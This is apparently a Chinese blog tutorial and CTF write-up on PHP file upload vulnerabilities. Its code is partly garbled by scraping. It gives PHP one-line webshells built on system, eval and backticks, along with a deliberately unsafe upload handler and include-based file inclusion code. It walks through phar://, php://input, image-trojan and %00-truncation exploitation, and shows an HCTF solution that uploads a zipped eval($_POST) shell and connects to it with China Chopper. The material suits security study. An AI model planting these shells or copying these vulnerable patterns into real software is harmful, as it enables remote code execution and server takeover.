文件上传漏洞

  • 0x00 文件上传漏洞原理
  • 0x01 本地测试上传漏洞
    • 0x1 最简单的木马
    • 0x2 文件包含漏洞
      • 直接利用没有文件包含的情况
      • phar伪协议利用
      • phpinput伪协议利用
      • 图片木马
  • 0x02 文件上传题目
    • 0x00 00截断
    • 0x1 兵者多鬼

自从接触网络安全也有一段时间了,自己根据自己的经验总结一下文件上传漏洞的方法及本地测试结果,希望能够帮助到大家,同时也是一个很好的学习记录过程。

0x00 文件上传漏洞原理

一般文件上传漏洞会有文件上传的地方,我们只要通过文件上传,将一句话木马传上去,并找到一种能够执行一句话木马文件的方法即可。所以,综上所述文件上传漏洞的原理就是,服务器执行了你上传的木马文件。
这里有两个步骤,其一通过某种方法将木马文件上传,其二通过某种途径将木马执行。

文件上传代码


<html>
<head>
    <title>文件信息title>
head>
<meta charset="utf-8">
<body>
<form action="" enctype="multipart/form-data" method="POST" name="uploadfile">
    上传文件: <input type="file" name="upfile" />
    <input type="submit" value="http://dearch.blog.51cto.com/10423918/上传" name="submit">
form>
body>
html>


if (isset($_POST['submit'])) {
    var_dump($_FILES['upfile']);
    echo "文件名:".$_FILES['upfile']['name']."
"
; echo "文件大小:".$_FILES['upfile']['size']."
"
; echo "文件类型:".$_FILES['upfile']['type']."
"
; echo "临时路径:".$_FILES['upfile']['tmp_name']."
"
; echo "上传后系统返回值:".$_FILES['upfile']['error']."
"
; echo "====================保存分各线========================
"
; if ($_FILES['upfile']['error'] == 0) { if (!is_dir("./upload")) { mkdir("./upload"); } $dir = "./upload/".$_FILES['upfile']['name']; move_uploaded_file($_FILES['upfile']['tmp_name'],$dir); echo "文件保存路径:".$dir."
"
; echo "上传成功...
"
; echo "图片预览:
"
; } } ?>

0x01 本地测试上传漏洞

0x1 最简单的木马

 
echo `$_GET[a]`;
?>
<script language=php>
echo `$_GET[a]`;
script>
 
echo system($_GET['a']);
?>
 
echo eval($_GET['a']);
?>

上述是最简单的一句话木马

0x2 文件包含漏洞

在平常的代码调试中我们可以发现include函数存在文件包含漏洞。这个的利用方法也很简单,在这里可以把它归结成直接利用、伪协议利用、图片木马

直接利用(没有文件包含的情况)

我们直接找到上传文件后的路径,访问即可这是没有找到include文件包含的时候采取的方法。一般这时可以利用花式文件上传的方法.php345 .inc .phtml .phpt .phps

phar伪协议利用

一般在其他方式无效的情况下使用,这种利用方式也是比较常见,首先上传一个包含有一句话木马的压缩包,通过伪协议解析其中的木马文件,必须配合文件包含漏洞使用

第一步木马生成压缩包

`$_GET['a']`;
?>

第二步将压缩包上传
第三步解析压缩包中的文件

文件上传漏洞_第1张图片
在这里不一定采用.zip任何文件名都没有问题
文件上传漏洞_第2张图片

php://input伪协议利用

利用伪协议,把数据流读成文件,通过文件包含漏洞达到执行文件的效果,必须配合文件包含漏洞使用

这个利用比较局限,必须打开PHP.ini文件中的allow_url_include选项
看一下利用方式
首先在本地写文件包含漏洞

 
include $_GET['a'];
?>

通过php://input协议执行phpinfo()
文件上传漏洞_第3张图片
执行ping命令
文件上传漏洞_第4张图片

图片木马

通过某种方法把一句话木马写入图片之中。再通过文件包含来执行下面看一下效果,必须配合文件包含漏洞使用

在本地首先写一个带有文件包含漏洞php文件

 
include $_GET['a'];
?>

尝试利用它来包含刚刚我们上传的图片1.png
文件上传漏洞_第5张图片

直接去包含即可执行
文件上传漏洞_第6张图片

0x02 文件上传题目

0x00 %00截断

题目一
上传1.png之后出现这个
文件上传漏洞_第7张图片
burpsuit截得
这里写图片描述
尝试在upload后面加1.php截断字符
最后成功

文件上传漏洞_第8张图片

0x1 兵者多鬼

文件上传漏洞_第9张图片
题目说明为上传图片,首先上传一个图片试试
点击上传图片,发现url

http://pics.hctf.io/home.php?fp=upload
在这里猜想为include($fp+'.php') 典型的文件包含漏洞
现在可以利用php:filter//当下源码了
//home.php

QUERY_STRING"]))
{
    die();
}
?>

<html>
    <head>
        <title>title>
        <meta charset="utf-8">
        <link href="css/bootstrap.min.css" rel="stylesheet">
        <link href="css/jumbotron-narrow.css" rel="stylesheet">
    head>
    <body>
        <div class="container">
            <div class="header clearfix">
                <nav>
                    <ul class="nav nav-pills pull-right">
                        <li role="presentation" class="active"><a href="home.php?key=hduisa123">Homea>li>
                    ul>
                nav>
                <h3 class="text-muted">picturesh3>
            div>

            <div class="jumbotron">
                <h1>Pictures Storageh1>
                <p class="lead">在这里上传您的图片,我们将为您保存p>
                <form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
                    <input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
                    <br>
                    <input type="submit" id="submit" name="submit" class="btn btn-lg btn-success" role="button" value="上传图片">
                form>
            div>
        div> 
    body>
html>

        <div class="alert alert-danger" role="alert">没有此页面div>
        

在home.php中找到了文件包含源码现在利用它来,上传恶意文件

1.首先想到的是挂图片马:发现菜刀连接不行
2.利用zip上传解压
方法
(1)制作1.php

 @eval($_POST['e']);?>

(2)生成压缩包上传
在本

http://pics.hctf.io/home.php?fp=phar://uploads/4213d630a939bd4fbc7dff432fc0ed4b76c01d1c.png/1

(3)应用菜刀直接连
文件上传漏洞_第10张图片
文件上传漏洞_第11张图片

你可能感兴趣的:(WEB漏洞)